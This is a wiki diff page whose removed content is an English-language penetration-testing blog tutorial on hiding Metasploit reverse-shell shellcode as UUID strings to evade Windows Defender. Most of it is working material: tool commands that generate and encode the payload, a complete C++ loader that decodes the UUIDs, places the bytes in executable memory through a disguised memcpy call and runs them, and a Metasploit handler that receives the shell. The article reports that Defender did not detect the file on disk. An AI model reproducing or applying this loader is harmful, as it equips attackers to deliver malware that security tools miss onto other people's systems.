Differences
This shows you the differences between two versions of the page.
| en:it-security:blog:obfuscation_shellcode_als_uuids_tarnen_-_teil_1 [2024/09/10 20:26] – created psycore | en:it-security:blog:obfuscation_shellcode_als_uuids_tarnen_-_teil_1 [2024/09/17 08:20] (current) – redirect psycore | ||
|---|---|---|---|
| Line 1: | Line 1: | ||
| - | {{tag>IT-Security Windows Kali pentest obfuscation blog english}} | + | ~~REDIRECT> |
| - | + | ||
| - | ====== Obfuscation: | + | |
| - | + | ||
| - | {{it-security: | + | |
| - | + | ||
| - | In the last [[en: | + | |
| - | + | ||
| - | I came up with the idea of converting the opcodes into a string array, which is filled with [[https:// | + | |
| - | + | ||
| - | ===== Tools ===== | + | |
| - | + | ||
| - | The encoder is part of my shellcode tool [[https:// | + | |
| - | + | ||
| - | ===== Step1: Prepare shellcode ===== | + | |
| - | + | ||
| - | ==== generate ==== | + | |
| - | + | ||
| - | We create a payload without further encryption or encoding. This is usually recognised by Windows Defender. | + | |
| - | + | ||
| - | <code bash> | + | |
| - | python shencode.py create -c="-p windows/ | + | |
| - | </ | + | |
| - | + | ||
| - | ==== encode ==== | + | |
| - | + | ||
| - | We now encode this payload as UUID strings. | + | |
| - | + | ||
| - | <code bash> | + | |
| - | python shencode.py encode -f shell_rev.raw -u | + | |
| - | </ | + | |
| - | + | ||
| - | The output now looks something like this: | + | |
| - | + | ||
| - | <code cpp> | + | |
| - | [*] try to open file | + | |
| - | [+] reading 240906.001 successful! | + | |
| - | [*] try to generate UUIDs | + | |
| - | std:: | + | |
| - | " | + | |
| - | " | + | |
| - | " | + | |
| - | " | + | |
| - | ... | + | |
| - | " | + | |
| - | " | + | |
| - | " | + | |
| - | " | + | |
| - | " | + | |
| - | [+] DONE! | + | |
| - | </ | + | |
| - | + | ||
| - | ===== Step 2: Write Inject.cpp ===== | + | |
| - | + | ||
| - | ==== Header ==== | + | |
| - | + | ||
| - | === obfuscated shellcode === | + | |
| - | + | ||
| - | We create a new C++ project and adopt the obfuscated string array that we created previously. | + | |
| - | + | ||
| - | <code cpp> | + | |
| - | #include < | + | |
| - | #include < | + | |
| - | #include < | + | |
| - | #include < | + | |
| - | #include < | + | |
| - | #include < | + | |
| - | #pragma warning | + | |
| - | + | ||
| - | std:: | + | |
| - | " | + | |
| - | " | + | |
| - | " | + | |
| - | " | + | |
| - | ... | + | |
| - | " | + | |
| - | " | + | |
| - | " | + | |
| - | " | + | |
| - | " | + | |
| - | </ | + | |
| - | + | ||
| - | ==== Encoding and injection ==== | + | |
| - | + | ||
| - | === Remove superfluous characters === | + | |
| - | + | ||
| - | Firstly, we need a function to remove the '' | + | |
| - | + | ||
| - | <code cpp> | + | |
| - | void removeDashes(std:: | + | |
| - | str.erase(std:: | + | |
| - | } | + | |
| - | </ | + | |
| - | + | ||
| - | === Convert strings to bytes === | + | |
| - | + | ||
| - | The next function converts the UUID strings into executable bytes. The string array is run through piece by piece: | + | |
| - | + | ||
| - | * Remove from '' | + | |
| - | * Read 2 characters and return them as bytes | + | |
| - | * When the string array has been run through, return the generated byte array to the caller | + | |
| - | + | ||
| - | <code cpp> | + | |
| - | std:: | + | |
| - | std:: | + | |
| - | for (const auto& str : inputStrings) { | + | |
| - | std::string cleanStr = str; | + | |
| - | removeDashes(cleanStr); | + | |
| - | for (size_t i = 0; i < cleanStr.length(); | + | |
| - | if (i + 1 < cleanStr.length()) { | + | |
| - | std::string byteString = cleanStr.substr(i, | + | |
| - | uint8_t byte = static_cast< | + | |
| - | byteArray.push_back(byte); | + | |
| - | } | + | |
| - | } | + | |
| - | } | + | |
| - | return byteArray; | + | |
| - | } | + | |
| - | </ | + | |
| - | + | ||
| - | === Main programme === | + | |
| - | + | ||
| - | The main program initialises the variables, calls the conversion function, outputs the bytes to the console and then executes the injection. | + | |
| - | + | ||
| - | To disguise this process somewhat, the function '' | + | |
| - | + | ||
| - | <code cpp> | + | |
| - | int main() { | + | |
| - | std:: | + | |
| - | std:: | + | |
| - | unsigned char* Payload = reinterpret_cast< | + | |
| - | size_t byteArrayLength = result.size(); | + | |
| - | std::cout << "[x] Payload size: " << byteArrayLength << " bytes" << std:: | + | |
| - | + | ||
| - | for (size_t i = 0; i < byteArrayLength; | + | |
| - | std::cout << std::hex << std:: | + | |
| - | if ((i + 1) % 8 == 0) { | + | |
| - | std::cout << std:: | + | |
| - | } | + | |
| - | } | + | |
| - | + | ||
| - | void* (*memcpyPtr) (void*, const void*, size_t); | + | |
| - | void* exec = VirtualAlloc(0, | + | |
| - | memcpyPtr = & | + | |
| - | memcpyPtr(exec, | + | |
| - | ((void(*)())exec)(); | + | |
| - | return 0; | + | |
| - | } | + | |
| - | </ | + | |
| - | + | ||
| - | ===== Step 3: Test functionality ===== | + | |
| - | + | ||
| - | ==== Metasploit handler ==== | + | |
| - | + | ||
| - | We start a Metasploit handler on the attack system to receive the reverse shell: | + | |
| - | + | ||
| - | <code ruby> | + | |
| - | msf6 > use exploit/ | + | |
| - | [*] Using configured payload generic/ | + | |
| - | + | ||
| - | msf6 exploit(multi/ | + | |
| - | + | ||
| - | [*] Started reverse TCP handler on 0.0.0.0: | + | |
| - | </ | + | |
| - | + | ||
| - | ==== Compile Inject.cpp ==== | + | |
| - | + | ||
| - | We then compile our Inject.cpp as a 64-bit programme. We then copy this to the victim system. After the copying process, the file is not recognised. We scan it once manually with Windows Defender. | + | |
| - | + | ||
| - | {{it-security: | + | |
| - | + | ||
| - | This also looks good. | + | |
| - | + | ||
| - | ==== Execute ==== | + | |
| - | + | ||
| - | We now execute the file and wait for the result. | + | |
| - | + | ||
| - | Unfortunately, | + | |
| - | + | ||
| - | <code stylus> | + | |
| - | " | + | |
| - | </ | + | |
| - | + | ||
| - | We have generated a raw payload from metasploit. This contains a lot of null bytes and these prevent correct execution. This was quite annoying as my first tests went through. | + | |
| - | + | ||
| - | I repeated the whole process with metasploit' | + | |
| - | + | ||
| - | ===== Conclusion ===== | + | |
| - | + | ||
| - | The UUID obfuscation works and protects the file when accessing the hard drive. After execution, memory protection is required to prevent detection. I will show this in the next part. | + | |
| - | + | ||
| - | ~~DISCUSSION~~ | + | |